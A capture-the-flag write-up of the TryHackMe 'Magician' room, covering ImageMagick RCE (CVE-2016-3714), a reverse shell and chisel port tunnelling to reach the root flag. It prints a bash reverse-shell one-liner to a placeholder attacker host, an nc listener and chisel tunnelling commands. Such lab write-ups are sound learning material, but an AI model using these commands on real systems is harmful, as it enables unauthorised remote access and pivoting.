Tryhackme Magician


Introduction
This is partical room from tryhackme entitled “Magician” with Easy difficulty. In this room we will learn about Exploitation RCE with multiple vulnerabilities in ImageMagick from CVE-2016–3714 and Tunneling port. We will doing to getting shell from web then tunneling listening port to getting another web which contain root flag. Link room here
Scanning
Nmap
We just have 2 port open like FTP and Webservice (nginx). now i want to try login ftp with anonymous login.
As you can see we can’t let in but there is have some hint for us. I’m going to https://imagetragick.com which is POC of CVE-2016–3714. Now before going to web we must put host in /etc/hosts.
I’m trying to using burpsuite and test POC from imagetragick which we found before.
Exploit
then i’m try to following POC from imagetragick and checking with ping back to my ip using tcpdump $ sudo tcpdump -i tun0 host magician and -n icmp
.
Getting Shell
And its works. i got ping back from web, So we can create revershell with bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
then prepare for revershell with nc nc -lvnp <PORT>
Now i got shell, then let’s make it shell to real shell .
Flag User.txt
As you can see we got user magician and let’s take the flag :D
There is have some files namely the_magic_continues
, let’s take a look the file :
There is give me some hint again then let’s take a look port on This machines (netstat -punta || ss --ntpu) | grep "127"
.
There are many methods we can use to tunnel the port. In this case I will use chisel and you can download that in here, Then uploaded to machine.
Now we can setup the Chisel :
- First create server reverse port to tunneling port
./chisel server --reverse --port 4242
. - Then create client on machines and setting R port to 6969 for access in web “localhost:6969”
./chisel client 10.2.47.251:4242 R:6969:localhost:6666
.
Now we done for setup tunneling localhost:6666 to localhost:6969(In My Machine). Now let’s take a look the browser
Then just type /root/root.txt
Flag Root.txt
There is a Binary and we can convert to ASCII
Then we have flag for root not :D
so that’s all the writeup that I made, now we have user flag and root flag.
Happy hacking :D
Comments